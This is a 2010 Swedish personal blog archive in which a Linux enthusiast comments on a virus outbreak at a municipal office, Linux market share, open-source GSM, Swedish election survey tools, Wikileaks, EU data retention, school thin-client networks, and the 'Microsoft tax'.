2010-10-21

Vinsterna med en heterogen IT-miljö

Jonas Björk tipsade om att Stadsbyggnadsförvaltningen i Helsingborg blivit totalt utslaget av ett "asiatiskt datorvirus". Alla 200 datorer är drabbade och

"att nå personalen per mejl är i princip omöjligt."
Min gissning, utan att ha läst på, är att Stadsbyggnadsförvaltningen i Helsingborg kör Windows. Bara Windows. I och med detta blir de otroligt sårbara för virus som skrivs för just denna plattform. Det finns över en miljon virus som skrivits för Windows olika versioner. Många av dem är naturligtvis oskadliggjorda, men det kommer nya hela tiden.

De allra flesta virus som finns angriper bara en enda företeelse, det vill säga det är bara en typ av funktion i en typ av operativsystem som påverkas av ett virus. Eftersom Windows har en marknadsandel på runt 90 procent så skrivs majoriteten av alla virus för just den plattformen.

Stadsbyggnadsförvaltningen i Helsingborg har fått fem "reservdatorer" skickade till sig så att de åtminstone kan svara på epost och fem till kommer under dagen, enligt tidningsartikeln som jag länkar till ovan. Samtidigt letar man efter sätt att rensa datorerna utan att för den skull behöva installera om dem.

Dessvärre finns det inget hundraprocentigt sätt att veta att allt är som det ska vara på datorerna utan att installera om dem. Det är en oskriven grundregel att om du blivit virusdrabbad så bör du installera om datorn för att vara säker på att du blivit av med alla spår.

Om man hade satsat på en heterogen IT-miljö, uppblandad av datorer med Mac OS X eller Linux installerat hade katastrofen inte varit så total. Låt säga att man haft 20% av datorerna installerade med alternativa operativsystem. Då hade man haft 40 datorer till hands för att kunna tillgodose medborgarnas behov. I det här fallet tror jag att en sådan "merkostnad" hade lönat sig i längden.

Att installera om 200 datorer är inte billigt och inte att låta en hel förvaltning stå stilla en dag heller.

Läs även andra bloggares åsikter om , , , , , , ,

2010-09-09

Linux marknadsandel en procent? Knappast!

Datorkrig, de verkar alltid ha funnits och kommer kanske alltid att finnas. Slagen har varit många. C64 versus ZX Spectrum, Amiga vs. Atari, Amiga vs. PC, Mac vs. PC, Linux vs. Windows. Jag har säkert glömt ett par. Mänskligheten verkar älska att lyfta fram fördelarna för just sitt val och framhäva problemen med andra varianter. Själv är jag mest engagerad i kriget om Windows vs. Linux. Det finns mycket okunskap från båda sidor. För egen del har jag inte kört Windows på heltid sedan 2003-2004 någonstans och jag har egentligen inte så mycket att säga om de senare versionerna av Windows. Jag säger det jag vet om Linux och låter mig oftast nöja där.

En etablerad "sanning" när man tittar sig kring på nätet verkar vara att Linux har en marknadsandel som ligger runt en procent. Den främsta källan till denna siffra verkar vara webbläsarstatistik, det vill säga den andel av datorer som surfar till ett visst urval av webbplatser och som identifierar sig som någon typ av Linux. Det är också svårt att få fram någon annan typ av statistik. Försäljningsstatistik är även det en svår mätning eftersom de allra, allra flesta datorer idag säljs med någon typ av Windows-version förinstallerad. Något som i de flesta fall inte går att välja bort.

Problemen med webbläsarstatistik är flera. Först och främst är det ett urvalsproblem. Webbplatser som finns med i större mätningar är ofta sådana som betalt för att vara med där. Mindre oberoende webbplatser har sällan samma tekniska lösningar för besöksstatistik. För det andra varierar det rätt mycket mellan olika typer av webbplatser. Ars Technica är en webbplats med innehåll som attraherar rätt många teknikintresserade. Här fördelar sig webbläsarnas marknadsandel såhär:



Jämfört med Hitslink.coms undersökning där det fördelar sig på följande sätt:



Givetvis är säkerligen Hitslink.coms undersökning mer rättvisande, men jämförelsen visar att urvalet spelar en rätt stor roll. Teknikintresserade personer är troligen mer medvetna om Internet Explorers historiska säkerhetsbrister, dåliga hastighet och avvikande tolkning av internationella webbstandarder och väljer därför andra alternativ.

För det tredje "äger" Internet Explorer 6 fortfarande webben. Det är ett pinsamt och rätt störande faktum att många webbplatser fortfarande anpassar sig efter en snart 10 år gammal webbläsare, men inlåsningseffekter och slentrian har gjort att många webbplatser inte fungerar utan Internet Explorer. Ett exempel är om man vill ladda hem spelet Savage 2: A tortured soul till Linux via fileplanet.com, då denna ruta visas:



Att en nedladdning som ska köras i Linux kräver Internet Explorer 5 eller högre och dessutom Microsofts egna ActiveX-teknik som bara kan köras i Windows är i mitt tycke rätt pinsamt. Men webbprogrammerare är inte mer än människor och det innebär att man ibland tar lite för snäva genvägar. För att komma runt denna ibland godtyckliga inlåsning kan man bland annat köra Firefox-tillägget User Agent Switcher, som gör att webbläsaren kan identifiera sig som Windows med Internet Explorer. Det är såklart bara en liten del av webbanvändarna som gör på detta sätt, men det bidrar ändå till felkällorna.

En annan sak som talar för att Linux har en högre marknadsandel än den procent det tillskrivs är netbook-försälningen. Netbooks kallas ibland för "minidatorer" eller "ultrabärbara" och enligt en undersökning av företaget ABI Research gjord i slutet av förra året menar att nästan en tredjedel av alla sådana datorer i USA såldes med Linux förinstallerat. I Sverige däremot fick man under 2009 leta efter Linux-bärbara som såldes i butik, med ljus och lykta och oftast även ett medium för att kunna hitta dem. Sverige är Microsoft-land mer än Microsoft-landet självt.

Det finns givetvis inga garantier att de minidatorer med Linux som såldes inte installerades med Windows så fort ägaren kom hem, men detsamma gäller förstås det omvända. Här i Sverige vet jag många som snabbt som ögat tagit bort den begränsade Windows 7 Starter Edition och installerat någon variant av Linux istället.

En tredje faktor som talar för att Linux har en högre marknadsandel än en procent är Microsofts egna interna undersökningar. I februari 2009 höll Steve Ballmer ett smörjmöte med Wall Street som avslöjade en sak som Microsoft absolut inte erkänner i marknadsföringssammanhang, där man försöker låtsas som att Linux marknadsandel är obetydlig. Här verkar man dock mena att Linux (lila) är ett större hot än Apple (blått) och därmed bör ha en större marknadsandel än detsamma:



Att Windows största hot är piratkopiering bör dock inte komma som någon överraskning för någon. Märk väl att det står Home and Business PCs på bilden. Det bör alltså inte ha något med server-marknaden att göra.

Något som det numera talas rätt tyst om är Linux marknadsandel på andra områden. På den världsomspännande servermarknaden beräknar man att Linux har någonstans mellan 20-40%. Beräkningens stora felmarginal beror på att det är svårt att beräkna hur många installerade exemplar det finns av ett operativsystem som är fritt tillgängligt och helt gratis. En nedladdning av en skivavbild av exempelvis CentOS, den helt fria Red Hat Enterprise Linux-klonen, kan användas till en eller femtio servrar. Eller tio tusen. Det finns inget bra sätt att avgöra detta bortom allt tvivel.

En annan av Linux starka områden är inbäddade system. Googles Android-plattform som används på mängder av telefoner är baserad på Linux-kärnan. Här finns en lista på system som har Linux installerat. Här ingår bland annat:

  • Datorer
  • Routers (ex)
  • Nätverkslagring (ex)
  • Nätverksuppkopplade mediaspelare (ex)
  • TV-apparater (ex)
  • Digitala Videoinspelare (ex)
  • TV-boxar (ex)
  • Smartphones (ex)
  • MP3-spelare (ex)
  • E-boksläsare (ex)
  • Spelkonsoller (ex)
  • Tablet PC (typ iPad) (ex)
  • och mycket annat


Vissa bedömare placerar Linux marknadsandel på skrivbordsdatorer mellan som lägst 1-2 procent och som högst 5 procent. Räknar man in telefoner, mediaspelare, tevear, servrar och annat jox blir siffran högre.

Andra, bland annat Microsoft, menar att Linux har en större marknadsandel än Apple, vilket borde lägga dem någonstans mellan 8-10 procent av marknaden.

Oavsett om detta är glädjekalkyler eller dystopi kan vi nog enas om att Linux tid som en marginell spelare utan framtid har passerat.

Gällande Linux självt kan man älska eller hata det, men man kan inte bortse ifrån det. Linux är här för att stanna och i dess fotspår, öppen källkod och fri programvara.

Läs även andra bloggares intressanta åsikter om , , , , , ,

2010-08-31

GSM-nät med öppen källkod till en tiondel av kostnaden?

Slashdot har idag en nyhet från Network world som jag ler lite över när jag läser.

Tydligen finns det en festival (eller nåt) som heter Burning Man som går av stapeln just i detta nu. Den äger rum i Black Rock Desert, som ligger i Nevada mellan Jacksonbergen i öst och Calicobergen i väst. Det är precis lika öde och isolerat som det låter. Och stekhett på dagarna och svinkallt om nätterna. Det har heller ingen större mobiltäckning. Så för de runt 50 000 deltagarna bygger man upp ett mobiltelefonnät kring Black Rock City, staden som växer fram en vecka om året för just detta evenemang.

Arrangörerna har valt att använda Burning Man-festivalen som en test-bädd för GSM-teknologi med öppen källkod. Genom att kombinera ihop olika tekniker och produkter med öppen källkod har man lyckats få till ett system som existerar med vanliga GSM-telefoner utan modifiering.


Ett testsystem med öppen källkod som har en räckvidd på några få meter.

Med öppen källkodsprogramvaran Asterisk som växelsystem och Universal Software Radio Peripheral (USRP), en hårdvaruenhet för radiosändning och den öppna programvaran OpenBTS och Linux, har man fått till ett system som presenterar sig som en vanlig GSM-sändare och kopplar samtal över Voice over IP (VoIP).

Allt till ungefär en tiondel av kostnaden för ett konventionellt GSM-system (enligt OpenBTS). Öppen källkodssystemet är "lika stort som en skokartong" och kräver ungefär 50 Watt för att drivas, vilket innebär att man kan dra runt det med vindkraft eller solenergi. Jämfört med ett konventionellt system som kräver några tusen watt är detta således ett väldigt miljövänligt alternativ.



OpenBTS-systemet har samma räckvidd som en vanlig basstation, det vill säga maximalt 35 kilometer och standard 20 kilometer, beroende på geografin och antennhöjden och så vidare.

Ett sjukhus i Port au Prince använde OpenBTS under två veckor efter jordbävningen på Haiti och personal på plats kunde börja använda systemet ungefär en timma efter att det levererats. Sålunda är systemet både billigt och ickekomplext.

FN och Internationella Teleunionen (ITU) har i undersökningar noterat att när man tillgodoser befolkningen med kommunikation stiger hälsotalen, välbefinnandet och utbildningsnivån. Ett sådant här system kräver inte användaren på mer än kanske 20-30 kronor i månaden för att gå ihop ekonomiskt, menar en av grundarna till Kestrel Signal Processing, företaget bakom produkten.

Det kanske kan innebära stora förändringar för de 60% av landmassan och de 40% av världens befolkning som ännu saknar telefonförbindelser.

Jag vet inte hur det är med er, men jag är bra sugen på att ta hem källkoden och börja bygga en egen gsm-station...

Läs även andra bloggares intressanta åsikter om , , , , , , ,

2010-08-18

Döskallar: en serie om Fri programvara, DRM, upphovsrätt, CC och pirater

Döskallar är ursprungligen en fransk serie som tack vare att den sprids med Creative Commons-licens har kunnat översättas till svenska. Den behandlar upphovsrätt, Digital Rights (Restrictions) Management, ACTA-avtalet, Fri programvara, Creative Commons och mycket annat på runt 60 tecknade sidor. En ypperlig introduktion till den digitala världen och dess möjligheter och utmaningar. Läs den!

Den skulle förmodligen göra sig väldigt bra som tryckt seriealbum i en viss valrörelse. Om jag hade varit valstrateg skulle åtminstone jag använt den.



Idag är det dessutom en månad kvar till Software Freedom Day. Värt att uppmärksamma.

Läs även andra bloggares åsikter om , , , , , ,

2010-08-03

Få lokal support och sociala diskussioner om Linux

I samarbete med ubuntu.se har vi skapat ett antal epostlistor för svenska städer med omnejd.

Varför?
Andra större operativsystem njuter av lyxen att nästan alla har någon i släkten eller bekantskapskretsen som är "expert". Någon som kan hjälpa till när problemen hopar sig och som installerar program och tar bort virus (i den mån de finns, på Linux är det ju skralt med dem) och är allmänt hjälpsamma. Ubuntu har ännu inte den lyxen på grund av sin lilla användarbas. Vi Linuxanvändare måste hålla ihop så gott det går. Därför föddes idén om lokala sändlistor.

Vad ska de användas till?
Som ett första led i att få till stånd lokala användargrupper har vi skapat ett antal epost-listor. På epostlistorna kan man prenumerera och få kontakt med någorlunda lokala Ubuntu-/Linux-användare kring den stad man bor nära. Kanske kan man träffas och lösa problem eller utvecklas tillsammans. Det är i alla fall vår dröm.

Listorna används också för att planera release-träffarna som infaller den 10 oktober 2010.

Begränsningar
Vi är medvetna om att det finns vissa vita fläckar på kartan än så länge, men vi ska försöka fylla på listan allt eftersom. Om du känner att du saknar en lista för en stad nära dig, skriv en kommentar nedan så får vi försöka lösa det. I dagsläget kan vi inte ha hur små orter som helst eftersom vi har en begränsad användarbas.

Listan är inte begränsad till enbart Ubuntu-användare. Även användare av andra Linux-distributioner kan vara med. Men listan är absolut inte avsedd för några distributionskrig, dist-spam eller annat meningslöst.

Orter
Här är orterna som just nu har en sändlista associerad till sig.

Borlänge

Borås

Gotland

Gävle

Göteborg

Halmstad

Helsinborg

Jönköping

Kalmar

Karlstad

Linköping

Lund

Malmö

Norrköping

Skövde

Stockholm

Sundsvall

Trollhättan

Umeå

Uppsala

Västerås

Växjö

Örebro

Östersund

Hur går jag med?
Klicka på länken till den ort du vill ha epost kring. Du behöver sedan fylla i en epostadress och ett lösenord som du använder om du vill ändra inställningar för listan.

Du får sedan ett bekräftelsebrev till samma epostadress. Du behöver svara på det brevet, alternativt klicka på länken i brevet för att aktivera ditt medlemsskap i epostlistan.

När du gjort det, får du ett välkomstbrev från listan och du kan börja skicka epost. I skrivande stund har snart 100 användare anslutit sig och ju fler det blir, desto bättre blir diskussionerna, allt enligt nätverkseffekten. Gå med du också!

Läs även andra bloggares intressanta åsikter om , , , , , ,

2010-07-29

Linux: Det är jobbigt att bli nybörjare igen

Det finns ganska många så kallade Power Users därute. De som har tio-tjugo års datorvana och kan sitt Windows eller Mac OS X utan och innan och därför kallar sig datorexperter. Många rätteligen så. Många av dessa är också såpass trygga i sitt Windows-användande att de vågar ge sig ut på nya spännande strapatser, som att installera ett annat operativsystem. Ubuntu är ofta första stoppet på vägen.

Det man gärna glömmer då, är att förutsättningarna är nya. Helt nya. Även om skrivbordsmetaforen är gemensam, finns det ett helt annorlunda system därunder. Ett system som inte fungerar som man är van vid.

Misstag är väldigt lätta att göra. Kanske är man så van vid att surfa till programtillverkarens hemsida och ta hem program den vägen att man gör det av bara farten. Även om pakethanteraren i Linuxsystemet hanterar saken bättre, hämtar man hem ett binärpaket från nVidia, OpenOffice.org eller Java.com och följer instruktionerna för installation på hemsidan.

Och visst får man till det som det är tänkt, men i processen bryter man kanske alla beroendeknytningar till resten av systemet. Det är lätt att göra bort sig i ett system som man inte känner till hur det fungerar.

Det finns rekommenderade tillvägagångssätt för allt. Fråga gärna först, innan du blir så frustrerad att du slänger ut Linux för att "det är skit" och inte fungerar som du vill.

Många är de som på sin första Linux-dag har börjat installera en jBoss-server, ett mediacenter och börjat tweaka skrivbordet från standardutseende till oigenkännlighet till oanvändbarhet. Kanske har man velat ha en betaversion av "det senaste" och av bara farten totalt gått in i väggen. I hundranittio.

Det är en sak att köra bil. Men bara för att du kan det och grundläggande trafikregler innebär det inte att du för den sakens skull kan framföra en motorcykel i samma hastigheter. Just det har jag lärt mig den hårda vägen. Datorvärlden är förvisso inte lika hård mot kroppen, men den kan stuka ett och annat psyke rätt hårt.

Så till alla er som som har decennier av erfarenhet av andra system och överväger att börja med Linux, ta det lite lugnt i början. Det är av misstagen man lär sig, men gör inte så många misstag att du börjar klandra systemet.

Skynda långsamt.

Läs även andra bloggares åsikter om , , , , ,

2010-07-27

Det blir Linux för Ryssland 2011

Spekulationerna har varit långa och många kring Rysslands Linux-satsning för sina skolor som först rapporterades om 2007. Då var budet att Linux skulle vara utrullat i alla skolor senast 2009.

Nu är det som bekant 2010 och ännu har vi inte sett något större genomslag för Linux i Ryssland. Nu meddelar dock IDG.se (via Moscow Times) att Ryssland satsar 2,4 miljarder årligen för att skapa ett Linux-system för den ryska staten. Man skriver att detta system kommer att vara baserat på Linux "till 90 procent", hur det nu kan vara det?

När Ryssland senast gick ut med sina Linuxplaner, satte Microsoft igång det stora marknadsföringsmaskineriet och erbjöd Ryssland Windows 7 för nästan inga pengar alls. Det satte effektivt käppar i hjulet för Linux-migreringen.

Nu vill man också utveckla en nationell sökmotor för 100 miljoner dollar årligen. Detta i ett försök att även konkurrera med Google. Uppenbarligen tänker Ryssland nationalisera sina IT-tillgångar så mycket som möjligt. Att skicka iväg pengar till sin forna största fiende är tydligen inte något man vill göra.

Linux-systemet kommer att vara frivilligt att implementera. Det är alltså inte obligatoriskt att gå över från en Microsoftlösning (som de flesta kör) till Linux.

Frågan är om man använder det här projektet för att pressa priserna på Microsoft-programvaror, eller om man verkligen vill gå hela vägen den här gången.

Den som lever får se.

Läs även andra bloggares åsikter om , , , , ,

2010-07-12

Spotify nu för Linux



Nästan sedan Spotify öppnade sin tjänst har man kunnat köra det i Linux, via kompatibilitetslagret Wine. Spotify själva har till och med lagt upp en instruktion om hur man ska göra för att få igång det på bästa sätt.

Nu behövs snart inte Wine längre, eftersom Spotify släppt en klient för Linux, eller närmare bestämt Linux-varianterna Ubuntu och Debian.

Spotify själva skriver att "många av [deras] utvecklare som själva kör Linux, vill såklart lyssna på musik när de kodar". Här är resultatet av ett antal hack-dagar och -nätter.

Linux-klienten är fortfarande under utveckling och funkar i dagsläget bara för de med Premium-konto. Den är inte öppen källkod. Men det är en bra början.

Lathund har en instruktion om hur man lägger till programvaruförrådet till Ubuntu 10.04.

Det verkar dock som att en del beroendeproblem finns. Paketet spotify-client-gnome-support som ger möjlighet att öppna spotify-länkar från webbläsaren har ett beroende med för högt versionsnummer. Förhoppningsvis kommer det en lösning på detta under dagen.

Om du vill vara med och prata med lokala Linux-intresserade, gå med i de lokala sändlistorna till höger, just nu för 23 olika svenska städer, med omnejd. Lokala träffar utlovas.

Läs även andra bloggares åsikter om , , ,

2010-06-28

Varför valfail, SR och SVT?

Det är inte så att man blir förvånad precis. Men oavsett hur man ser på det så marginaliseras de mindre partierna till förmån för de större. Nu har förvisso sanningssägarpartiet (åtminstone enligt dem själva) Sverigedemokraterna lyckats ta sig in i politikens senaste finrum, valpejl.se. Men där stoppas all övrig konkurrens effektivt. 5 516 personer kandiderar i år till en riksdagsplats. Gemensamt för (nästan alla) dessa är att de får möjligheten att fylla i en enkät med ett antal frågor för att kunna nå ut med sitt budskap. Partipolitiskt fördelar sig dessa enligt valpejl på det här sättet:

  • Moderaterna: 765

  • Folkpartiet: 815

  • Centerpartiet: 756

  • Kristdemokraterna: 771

  • Socialdemokraterna: 742

  • Miljöpartiet: 623

  • Vänsterpartiet: 665

  • Sverigedemokraterna: 63

Övriga partiers riksdagskandidater uppgår till 316 stycken.

Dessa utgörs av (förutom synbarligen partilösa kandidater) dessa partier:
  • SPI - Sveriges Pensionärers Intresseparti

  • RS - Rättvisepartiet Socialisterna

  • F! - Feministiskt initiativ

  • PP - Piratpartiet

  • SKÅ - Skånepartiet

  • SocD - Socialradikala Demokraterna

  • Riksh - Rikshushållarna

  • ALP - Allianspartiet/Medborgarens röst

Det är ingen massiv skara partier. Det är inte ens fler än vad som kan räknas på fingrarna. Men ingen av dessa partiers kandidater har fått svara på enkäten.

Jag kan förstå om man drar gränsen för vilka partier som får en egen knapp att trycka på i systemet. Men att man går ut och skriver följande är ju bara skandalöst:

För att få svara på enkäten måste du tillhöra något av de sju nuvarande riksdagspartierna eller Sverigedemokraterna och kandidera till riksdagen.


Varför denna partibegränsning? Det kan ju knappast vara utrymmesbrist på sajten i alla fall, eftersom de övriga partiernas kandidater uppgår till knappt hälften av exempelvis ett marginalparti som Vänsterpartiets kandidater. För att inte tala på Folkpartiet, som har whopping 815 kandidater som får fylla i sina enkäter om de bara vill.

Att ha över 65 000 kandidater till kommun, landsting och riksdag med var sin ifyllda enkät är förstås orimligt. Det blir en logistisk mardröm och kan motiveras. Inte på ett enkelt sätt i dessa IT-tider, men det kan motiveras.

Att motivera att utesluta 316 av de 5516 riksdagskandidaterna låter sig inte göras lika enkelt. Hur kan man på ett rimligt sätt motivera uteslutandet av Feministiskt initiativ, som fick 2,2 procent i Europaparlamentsvalet 2009, eller Piratpartiet som fick 7,1 % av rösterna i samma val? Piratpartiet var således mer framträdande än så kallade etablerade partier som Vänsterpartiet, Centerpartiet och Kristdemokraterna.

Sverigedemokraterna fick 2,93 % i valet 2006 och fick därför statligt partistöd. Är det detta enda kriterium som utgör basen för urvalet på valpejl.se? Jag hoppas verkligen inte det.

Jag antar därför att det är en bugg någonstans och har därför rapporterat detta till valpejl@svt.se:

Hej!

Jag försöker att gå in och läsa enkätsvar av någon från följande partier:

SPI - Sveriges Pensionärers Intresseparti
RS - Rättvisepartiet Socialisterna
F! - Feministiskt initiativ
PP - Piratpartiet
SKÅ - Skånepartiet
SocD - Socialradikala Demokraterna
Riksh - Rikshushållarna
ALP - Allianspartiet/Medborgarens röst

men finner då att de saknas i systemet. Då det inte finns en rimlig
förklaring till att ni uteslutit övriga partiers 316 kandidater från att
svara men låter 5200 andra riksdagskandidater göra det, måste det
finnas en rejäl bugg någonstans i databasen, alternativt i koden som
hämtar informationen.

Eftersom jag är systemutvecklare själv förstår jag att det bara är ett
slarvigt förbiseende från er sida och hoppas på en snar förbättring. :)

MVH Mathias


Om inte sunt förnuft biter på dem så kanske en rejäl dos av tjat och gnäll gör det? Man kan bara anta att hela valpejl och den valrörelse som nu dragit igång har till uppgift att bevara status quo. Industriarbetaren och Slöddertäljebon, den bildlöse Johnny Olsson, ägare av noll bolag, skriver som vanligt läsvärt om valpejl, liksom Beelzebjörn.

Läs även andra bloggares intressanta åsikter om , , , , , ,

2010-06-17

Statens musiksamlingar väljer Ubuntu

IDG.se rapporterar att Statens musiksamlingar, en gigantisk myndighet med 60 anställda som jag aldrig tidigare har hört talas om, går över från Windows till Ubuntu.

Man menar att bytet medför en besparing på mellan 75 000-100 000 per år, plus att man slipper uppgraderingskostnaderna till Windows 7 och allt associerat därmed, som hårdvaruuppgradering och uppgradering av kontorsprogramvara.

Den lösning de använder sig av är tunna klienter, som förlänger livslängden av datorerna till nästan det dubbla. Normalt menar man att livslängden på en dator är tre år, men då de tunna klienterna inte kräver så mycket av hårdvaran kan man istället använda datorerna i fem-sex år.

Fördelen med en lösning som bygger på tunna klienter är också att användarna inte behöver ha fasta arbetsplatser. Man kan ta med sig sitt skrivbord till vilken av datorerna som helst och fortsätta att arbeta där.

Läs även andra bloggares åsikter om , , , , , ,

2010-06-13

USA kan säkert lita till Sverige att stänga Wikileaks

Det verkar som att de federala myndigheterna i USA är på jakt efter en av webbplatsen Wikileaks förgrundsfigurer Julian Assange. Wikileaks har enligt dem kommit över runt 260 000 hemligstämplade diplomatiska meddelanden som skickats under ett flertal år, bland annat angående USAs strategi i mellanöstern.

Meddelandena ska enligt de federala myndigheterna ha läckts av en 22-årig underrättelsespecialist i den amerikanska armén vid namn Bradley Manning. Manning ska även ha tagit på sig ansvaret för att ha läckt de kontroversiella videor som kallas Collateral Murder, som visar när USAs armé dödar civila (inklusive två Reuters-journalister) i Irak.

Wikileaks är för närvarande inhyst hos den kontroversiella tjänsteleverantören PRQ i Sverige (enligt SVT).

Enligt artikeln från The Daily Beast, länkad ovan, är dock Wikileaks utspridd på flera olika servrar över världen, vilket gör den svår att stänga ner.

Jag är övertygad om att det svenska "rättssystemet" ska hjälpa till att tysta de som vill lyfta ut hemligheterna i ljuset. Eller helt enkelt sätta dem bakom galler för att de skulle kunna begå brott. Någon gång i framtiden, om inte just nu.

Det är inte lätt att vara whistleblower i dessa tidevarv.

Läs även andra bloggares intressanta åsikter om , , , , , , ,

2010-06-04

Webbstandarder: In Microsoft we trust (IE9)

Av välciterade källor har vi lärt oss att det finns tre typer av lögner: lögn, förbannad lögn och statistik.

Av dessa tre kan vi nu åtminstone sluta oss till att Microsoft behärskar statistik-delen väldigt fördelaktigt. I en ganska färsk test av en betaversion av Internet Explorer 9 (IE9), kunde Microsoft stolt leverera ett testresultat för bland annat HTML5 där IE9 hade klarat sig fläckfritt.



Problemet med testet var bara att de saker som undersöktes var endast de delar där IE9 hade något som helst att komma med. Alla andra delar hade utelämnats. IE9 fick därför 100% på alla delar.

Individerna bakom freeciv.net har därför utformat ett eget test, med bara de delar där Microsofts webbläsare inte kan någonting. Från 100% till 0% på mindre än två minuter.



Så ska vi lita på Microsofts PR-avdelning eller Freeciv's egen bashing-avdelning? Svaret är förstås att vi inte ska lita på något av dem. Båda är tillrättalagda för att lyfta fram det bästa respektive sämsta med Internet Explorer 9.

Vad jag vill med den här posten är att visa på hur viktigt det är att vara källkritisk på Internet. Typ.

Läs även andra bloggares intressanta åsikter om , , , , , , , ,

2010-06-02

Stoppa datalagringsdirektivet 2.0

Då var det dags för ytterligare en ändamålsglidning i barnens namn. 324 EU-parlamentsledamöter inklusive svenska moderater som Anna-Maria Corazza Bildt (med en svårslagen TPT), kristdemokrater som Alf "Internetgenerationen" Svensson och den allt antiliberalare Marit "död hud" Paulsen (fp), står bakom ett initiativ till att utöka datalagringsdirektivet till att omfatta även sökningar på exempelvis Google.

Förutom att resonemanget kommer att bli duktigt kostsamt och i det närmaste ogenomförbart är det roliga i resonemanget att man vill utöka direktivet för att stoppa barnpornografi.

När till och med Annie Johansson är emot, då måste det vara dåligt. Hon menar att det är tack vare Thomas Bodström som vi har direktivet. Det är tydligen lättare att peka finger än att stå upp för sina ideal när man själv ska trycka på knappen.

Utökningen motiveras med kampen mot barnpornografi. Men en sådan utökning skulle inte vara ett effektivt verktyg i detta hänseende. Det är istället ett förslag som strider mot proportionalitetsprincipen, som innebär ett kraftigt ingrepp i den personliga integriteten och som med all sannolikhet skulle innebära stora kostnader för internetoperatörerna, vilka skulle övervältras på konsumenterna. Dessutom finsn det idag effektiva vapen i kampen mot barnbornografi där det finns på frivillig väg avtal mellan teleoperatörer och polisen i detta avseende.


Byt ut "barnpornografi" mot "terrorism" så har du ett klockrent citat för att fördöma även FRA-lagen. Men att kritisera sig själv skulle aldrig komma på fråga. Som en vän skrev idag, "vi behöver inte tidningar, vi behöver journalistik".

Det känns inte helt långt borta att applicera samma resonemang på partier och politiker.

Läs även andra bloggares åsikter om , , , ,

2010-05-29

10 000 i installationskostnad för ett 30-datorers nätverk

I Jakobsberg har en Linux-intresserad deltidsanställd KTH:are skapat ett terminal-server-nätverk för en skola för en knapp månadslön. Datorerna som används är donerade och programvaran baseras på Edubuntu, en variant av Ubuntu speciellt inriktad på lärandemiljöer.

Personligen tycker jag att det är ett glimrande koncept. När skolan inte hade pengar gjorde man det bästa av situationen och skapade ett nätverk av 30 datorer med många år på nacken som bara visar skärmbilden av det som användaren gör. All beräkning sker på två centrala servrar som står i källaren. Detta gör att man kan använda datorer som aldrig skulle dra runt ett modernt operativsystem. En kort och gott otroligt kostnadseffektiv lösning.

Men precis som i barnporr-, fildelnings-, internet-, drog- och alkoholdebatterna så kommer man med det klassiska "men barnen då!??"-argumentet i en del av de fantastiskt inskränkta kommentarer som skrivits i anslutning till artikeln.

Man menar att barnen, som "utsätts" för "ett operativsystem som nästan ingen använder" tar skada av den utbildning de får, eller hamnar på efterkälken gentemot sina jämnåriga kamrater som (med stor sannolikhet) kör ett nio år gammalt operativsystem vid namn Windows XP. Verkligen modernt och inte alls på efterkälken.

En särskild idiot menar vidare att det "inte finns någon anledning att lära sig en massa olika system" och att "standardisering" är av godo. Det verkar som att han menar att alla bör använda Microsoft Office 2007 eller nyare och vänja sig vid det någorlunda nya Ribbon-gränssnittet. För att sedan när de om fem-tio år går ut gymnasiet sitta helt perplex när företaget de ska börja jobba på kör OpenOffice.org, GoogleDocs eller något annat de aldrig sett, för att företaget insett att MS Office är en tung koloss på lerfötter till ett episkt överpris och att de klarar sig fint med ovan nämnda alternativ.

Själv började jag min skoldatorbana på Victor 286:or med Microsoft Windows 2.1, och det var sannerligen inte det hetaste vid den tiden. Skolan låg minst två processorgenerationer bakom det som var nytt och Windows hade uppdaterats rätt rejält sedan skolan köpte in sina licenser. En uppgradering var dock inte att tala på eftersom systemkraven på nyare versioner krävde en massiv investering i både datorer och mjukvara. Pengar som skolan inte hade. Inte så stor skillnad mot idag alltså.

Själv har jag nyligen avslutat studier på en folkhögskola som har Windows XP på alla datorer, ett system som har närmare 10 år på nacken. Visst, det har köpts in några Office 2007-licenser, men de allra flesta datorer kör Office 2003, som är sju år gammalt. Inte speciellt modernt, men visst, det kanske speglar marknaden ute på företagen. Att utbilda mellanstadiebarn på plattformen för att det på något sätt ska spegla IT-världen när de väl tagit examen är däremot ett helt världsfrånvänt argument.

Lika lite som jag har nytta av mina kunskaper om Windows 2.1 och WordPerfect for DOS i dag, lika lite kommer dagens mellanstadiebarn ha nytta av sina utpräglade Windows XP/Vista/7-kunskaper och känsla för Ribbon-gränssnittet när de går ut gymnasiet. Datorvana däremot, där skrivbordsmetaforen fortfarande är allenarådande, kommer de att ha god nytta av och den är helt systemoberoende.

Jag fruktar att mus, QWERTY-tangentbord, touchpad, webbkamera och datorskärmar kommer att finnas kvar ett bra tag till, även om de kanske kommer att ersättas av tankestyrning, VR-handskar, talstyrning och neurala gränssnitt om någon/några generation(er). Vad vet jag?

Jag tycker hur som helst att det är trevligt att se ett initiativ som baseras på öppen källkod och fri programvara. En bonus är ju dessutom att det sparar på våra skattekronor. Enligt en undersökning Computer Sweden gjort är licens- och underhållskostnaderna uppe i en miljard svenska kronor årligen bara för staten. Alltså undantaget kommuner och landsting. Jag säger det igen, undantaget kommuner och landsting. Cheezus. Men det är en annan bloggpost.

Läs även andra bloggares intressanta åsikter om , , , ,

2010-05-20

Omöjligt att bli pirat i Valkompassen

Jag vet att Stig-Björn Ljunggren & co inte är systemutvecklare, men hur kan man utforma Valkompassen som man gjort med tanke på vilka partier som är med?

Jesper Räf har gjort ett facit till testet och hur det är utformat.

Själv får jag ett ganska förbryllande resultat i testet. Bland annat så har jag åsikter som till 30% överensstämmer med Sverigedemokraternas partiprogram fastän jag till 100% aldrig skulle rösta på dem för att det är en fråga de står för som står och faller för mig, nämligen den om mångkultur.

Å andra sidan har jag bara 16% överensstämmelse med Piratpartiet, trots att jag håller med om deras få frågor till 100%. Dessutom är det omöjligt att slutföra testet om man svarar "Vet ej" på fler än fem frågor. Det är således helt omöjligt att bli piratpartist.

Intressant och spännande, minsann.

Läs även andra bloggares åsikter om ,

2010-04-10

Anmäl Microsoftskatten till konsumentverket/KO


Johan Ekblad har skrivit till konsumentombudsmannen (KO) om det underliga i att behöva betala för ett operativsystem som man inte ska använda. Med andra ord det som i dagligt tal brukar kallas Microsoft-skatten.

Microsoft-skatten innebär att så gott som alla datorer från stora leverantörer förinstalleras med någon version av Microsoft Windows. Windows bakas sedan in i priset på datorn och går inte att välja bort, oavsett om du tänker använda det eller inte. Trots att Microsofts egen End User License Agreement (EULA, eller slutanvändarlicens) hävdar att man ska kunna få pengarna tillbaka eller någon typ av rabatt.

Johan har därför skickat in en anmälan till konsumentombudsmannen/konsumentverket och fått följande svar:

Hej!

